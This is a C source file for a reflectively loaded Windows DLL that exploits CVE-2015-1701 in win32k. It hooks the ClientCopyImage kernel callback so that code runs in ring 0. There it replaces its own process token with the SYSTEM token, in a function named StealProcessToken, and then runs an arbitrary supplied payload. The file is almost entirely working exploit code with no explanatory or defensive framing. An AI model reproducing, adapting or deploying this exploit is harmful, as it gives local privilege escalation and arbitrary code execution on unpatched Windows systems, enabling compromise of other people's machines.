/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2015
*
*  TITLE:       MAIN.C
*
*  VERSION:     1.00
*
*  DATE:        10 May 2015
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/

//Disable nonmeaningful warnings.
#pragma warning(disable: 4005) // macro redefinition
#pragma warning(disable: 4054) // 'type cast' : from function pointer %s to data pointer %s
#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression
#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union

#define _CRT_SECURE_NO_WARNINGS
#define OEMRESOURCE

#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

#include <ntstatus.h>
#include "cve-2015-1701.h"

#define TYPE_WINDOW 1
#define HMUNIQSHIFT 16

typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
	IN   HANDLE ProcessId,
	OUT  PVOID Process
);

typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
	_Inout_  PVOID Process
);

typedef PVOID	PHEAD;

typedef struct _HANDLEENTRY {
	PHEAD   phead;  // Pointer to the Object.
	PVOID   pOwner; // PTI or PPI
	BYTE    bType;  // Object handle type
	BYTE    bFlags; // Flags
	WORD    wUniq;  // Access count.
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
	WORD            wRIPFlags;
	WORD            wSRVIFlags;
	WORD            wRIPPID;
	WORD            wRIPError;
	ULONG           cHandleEntries;
	// incomplete
} SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
	PSERVERINFO		psi;
	PHANDLEENTRY	aheList;
	ULONG			HeEntrySize;
	// incomplete
} SHAREDINFO, *PSHAREDINFO;

static const TCHAR	MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");

lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL;
lPsReferencePrimaryToken    g_pPsReferencePrimaryToken = NULL;
pUser32_ClientCopyImage		g_originalCCI = NULL;
PVOID						g_ppCCI = NULL, g_w32theadinfo = NULL;
int							g_shellCalled = 0;
DWORD						g_OurPID;

typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_	PRTL_OSVERSIONINFOW lpVersionInformation );

NTSTATUS NTAPI RtlGetVersion(
	_Inout_	PRTL_OSVERSIONINFOW lpVersionInformation
	)
{
	static PRtlGetVersion proxy = NULL;

	if (proxy == NULL)
	{
		proxy = (PRtlGetVersion)GetProcAddress(GetModuleHandle("ntdll"), "RtlGetVersion");
	}

	return proxy(lpVersionInformation);
}

typedef NTSTATUS (WINAPI* PNtQuerySystemInformation)(
	_In_       SYSTEM_INFORMATION_CLASS SystemInformationClass,
	_Inout_    PVOID SystemInformation,
	_In_       ULONG SystemInformationLength,
	_Out_opt_  PULONG ReturnLength
	);

NTSTATUS WINAPI NtQuerySystemInformation(
	_In_       SYSTEM_INFORMATION_CLASS SystemInformationClass,
	_Inout_    PVOID SystemInformation,
	_In_       ULONG SystemInformationLength,
	_Out_opt_  PULONG ReturnLength
	)
{
	static PNtQuerySystemInformation proxy = NULL;

	if (proxy == NULL)
	{
		proxy = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
	}

	return proxy(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
}

typedef NTSTATUS (NTAPI* PNtQueryInformationProcess)(
	_In_		HANDLE ProcessHandle,
	_In_		PROCESSINFOCLASS ProcessInformationClass,
	_Out_		PVOID ProcessInformation,
	_In_		ULONG ProcessInformationLength,
	_Out_opt_	PULONG ReturnLength
	);

NTSTATUS NTAPI NtQueryInformationProcess(
	_In_		HANDLE ProcessHandle,
	_In_		PROCESSINFOCLASS ProcessInformationClass,
	_Out_		PVOID ProcessInformation,
	_In_		ULONG ProcessInformationLength,
	_Out_opt_	PULONG ReturnLength
	)
{
	static PNtQueryInformationProcess proxy = NULL;

	if (proxy == NULL)
	{
		proxy = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
	}

	return proxy(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
}

DWORD WINAPI execute_payload(LPVOID lpPayload)
{
	VOID(*lpCode)() = (VOID(*)())lpPayload;
	lpCode();
	return ERROR_SUCCESS;
}

/*
* supGetSystemInfo
*
* Purpose:
*
* Returns buffer with system information by given InfoClass.
*
* Returned buffer must be freed with HeapFree after usage.
* Function will return error after 100 attempts.
*
*/
PVOID supGetSystemInfo(
	_In_ SYSTEM_INFORMATION_CLASS InfoClass
	)
{
	INT			c = 0;
	PVOID		Buffer = NULL;
	ULONG		Size = 0x1000;
	NTSTATUS	status;
	ULONG       memIO;

	do {
		Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);
		if (Buffer != NULL) {
			status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
		}
		else {
			return NULL;
		}
		if (status == STATUS_INFO_LENGTH_MISMATCH) {
			HeapFree(GetProcessHeap(), 0, Buffer);
			Size *= 2;
		}
		c++;
		if (c > 100) {
			status = STATUS_SECRET_TOO_LONG;
			break;
		}
	} while (status == STATUS_INFO_LENGTH_MISMATCH);

	if (NT_SUCCESS(status)) {
		return Buffer;
	}

	if (Buffer) {
		HeapFree(GetProcessHeap(), 0, Buffer);
	}
	return NULL;
}

/*
* supIsProcess32bit
*
* Purpose:
*
* Return TRUE if given process is under WOW64, FALSE otherwise.
*
*/
BOOLEAN supIsProcess32bit(
	_In_ HANDLE hProcess
	)
{
	NTSTATUS status;
	PROCESS_EXTENDED_BASIC_INFORMATION pebi;

	if (hProcess == NULL) {
		return FALSE;
	}

	//query if this is wow64 process
	RtlSecureZeroMemory(&pebi, sizeof(pebi));
	pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
	status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
	if (NT_SUCCESS(status)) {
		return (pebi.IsWow64Process == 1);
	}
	return FALSE;
}

BOOL GetShellCodeFunctions(VOID)
{
	BOOL						cond = FALSE;
	ULONG						rl = 0;
	PVOID						MappedKernel = NULL;
	ULONG_PTR					KernelBase = 0L, FuncAddress = 0L;
	PRTL_PROCESS_MODULES		miSpace = NULL;
	CHAR						KernelFullPathName[MAX_PATH * 2];
	BOOL                        bSuccess = FALSE;

	do {

		miSpace = supGetSystemInfo(SystemModuleInformation);
		if (miSpace == NULL) {
			break;
		}

		if (miSpace->NumberOfModules == 0) {
			break;
		}

		rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
		if (rl == 0) {
			break;
		}

		KernelFullPathName[rl] = (CHAR)'\\';
		strcpy(&KernelFullPathName[rl + 1],
			(const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
		KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
		HeapFree(GetProcessHeap(), 0, miSpace);
		miSpace = NULL;

		MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES);
		if (MappedKernel == NULL) {
			break;
		}

		FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
		g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);

		FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
		g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
		bSuccess = TRUE;
	} while (cond);

	if (MappedKernel != NULL) {
		FreeLibrary(MappedKernel);
	}
	if (miSpace != NULL) {
		HeapFree(GetProcessHeap(), 0, miSpace);
	}

	return bSuccess;
}

PSHAREDINFO GetSharedInfo(VOID) {
	HMODULE	huser32;
	PSHAREDINFO pSharedInfo = NULL;
	DWORD dwCursor = 0;

	huser32 = GetModuleHandle(TEXT("user32.dll"));
	if (huser32 == NULL)
		return pSharedInfo;

	pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo"));

#ifndef _M_X64
	PVOID pUser32InitializeImmEntryTable;

	/* user32!gSharedInfo resoultion for x86 systems < Windows 7 */
	if (pSharedInfo != NULL)
		return pSharedInfo;

	pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable"));

	for (dwCursor = 0; dwCursor < 0x80; dwCursor++) {
		if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 )
			continue;
		if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68)
			continue;
		return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2));
	}
#endif

	return pSharedInfo;
}

/*
* GetFirstThreadHWND
*
* Purpose:
*
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
*
*/
HWND GetFirstThreadHWND(VOID)
{
	PSHAREDINFO		pse;
	PHANDLEENTRY	List;
	ULONG_PTR		c, k;

	pse = GetSharedInfo();
	if (pse == NULL) {
		return 0;
	}

	List = pse->aheList;
	k = pse->psi->cHandleEntries;

	//if (pse->HeEntrySize != sizeof(HANDLEENTRY))
		//return 0;

	//
	// Locate, convert and return hwnd for current thread.
	//
	for (c = 0; c < k; c++)
		if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
			return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
		}
	return 0;
}

// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
{
	DWORD_PTR dwIndex, dwMask;

	// Microsoft QWORD aligns object pointers, then uses the lower three
	// bits for quick reference counting.
#ifdef _M_X64
	dwMask = ~0xf;
#else
	dwMask = ~7;
#endif
	// dwMask out the reference count.
	dwCurrentValue &= dwMask;

	// Scan the structure for any occurrence of dwCurrentValue.
	for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
	{
		if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
		{
			// And finally, replace it with NewValue.
			pdwStructure[dwIndex] = dwNewValue;
			return TRUE;
		}
	}

	// Member not found.
	return FALSE;
}

/*
* StealProcessToken
*
* Purpose:
*
* Copy system token to current process object.
*
*/
NTSTATUS NTAPI StealProcessToken(VOID)
{
	void *pMyProcessInfo = NULL;
	void *pSystemInfo = NULL;
	PACCESS_TOKEN systemToken;
	PACCESS_TOKEN targetToken;

	g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo);
	g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);

	targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo);
	systemToken = g_pPsReferencePrimaryToken(pSystemInfo);

	// Find the token in the target process, and replace with the system token.
	FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo,
		(DWORD_PTR)targetToken,
		(DWORD_PTR)systemToken,
		0x200);
	return 0;
}


/*
* MainWindowProc
*
* Purpose:
*
* To be called in ring0.
*
*/
LRESULT CALLBACK MainWindowProc(
	_In_ HWND hwnd,
	_In_ UINT uMsg,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
	)
{
	UNREFERENCED_PARAMETER(hwnd);
	UNREFERENCED_PARAMETER(uMsg);
	UNREFERENCED_PARAMETER(wParam);
	UNREFERENCED_PARAMETER(lParam);

	if (g_shellCalled == 0) {
		StealProcessToken();
		g_shellCalled = 1;
	}

	return 0;
}

/*
* hookCCI
*
* Purpose:
*
* _ClientCopyImage hook handler.
*
*/
NTSTATUS NTAPI hookCCI(
	PVOID p
	)
{
	InterlockedExchangePointer(g_ppCCI, g_originalCCI); //restore original callback

	SetWindowLongPtr(GetFirstThreadHWND(), GWLP_WNDPROC, (LONG_PTR)&DefWindowProc);

	return g_originalCCI(p);
}

void win32k_client_copy_image(LPVOID lpPayload)
{

	PTEB			teb = NtCurrentTeb();
	PPEB			peb = teb->ProcessEnvironmentBlock;
	WNDCLASSEX		wincls;
	HINSTANCE		hinst = GetModuleHandle(NULL);
	BOOL			rv = TRUE;
	MSG				msg1;
	ATOM			class_atom;
	HWND			MainWindow;
	DWORD			prot;
	OSVERSIONINFOW	osver;

	RtlSecureZeroMemory(&osver, sizeof(osver));
	osver.dwOSVersionInfoSize = sizeof(osver);
	RtlGetVersion(&osver);
	
	if (osver.dwBuildNumber > 7601) {
		return;
	}

	if (supIsProcess32bit(GetCurrentProcess())) {
		return;
	}

	g_OurPID = GetCurrentProcessId();
	GetShellCodeFunctions();

	if (g_pPsLookupProcessByProcessId == NULL) {
		return;
	}

	RtlSecureZeroMemory(&wincls, sizeof(wincls));
	wincls.cbSize = sizeof(WNDCLASSEX);
	wincls.lpfnWndProc = &MainWindowProc;
	wincls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
	wincls.lpszClassName = MAINWINDOWCLASSNAME;

	class_atom = RegisterClassEx(&wincls);
	while (class_atom) {
		g_w32theadinfo = teb->Win32ThreadInfo;

		g_ppCCI = &((PVOID *)peb->KernelCallbackTable)[0x36]; //  <--- User32_ClientCopyImage INDEX
	
		if (!VirtualProtect(g_ppCCI, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) {
			break;
		}
		g_originalCCI = InterlockedExchangePointer(g_ppCCI, &hookCCI);

		MainWindow = CreateWindowEx(0, MAKEINTATOM(class_atom),
			NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);

		if (g_shellCalled == 1)
		{
			execute_payload(lpPayload);
		}
		else {
			OutputDebugString(TEXT(" Failed \r\n"));
		}

		if (!MainWindow) {
			break;
		}

		do {
			rv = GetMessage(&msg1, NULL, 0, 0);

			if (rv == -1)
				break;

			TranslateMessage(&msg1);
			DispatchMessage(&msg1);
		} while (rv != 0);

		break;
	}

	if (class_atom)
		UnregisterClass(MAKEINTATOM(class_atom), hinst);

	return;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		hAppInstance = hinstDLL;
		if (lpReserved != NULL)
		{
			*(HMODULE *)lpReserved = hAppInstance;
		}
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		win32k_client_copy_image(lpReserved);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}
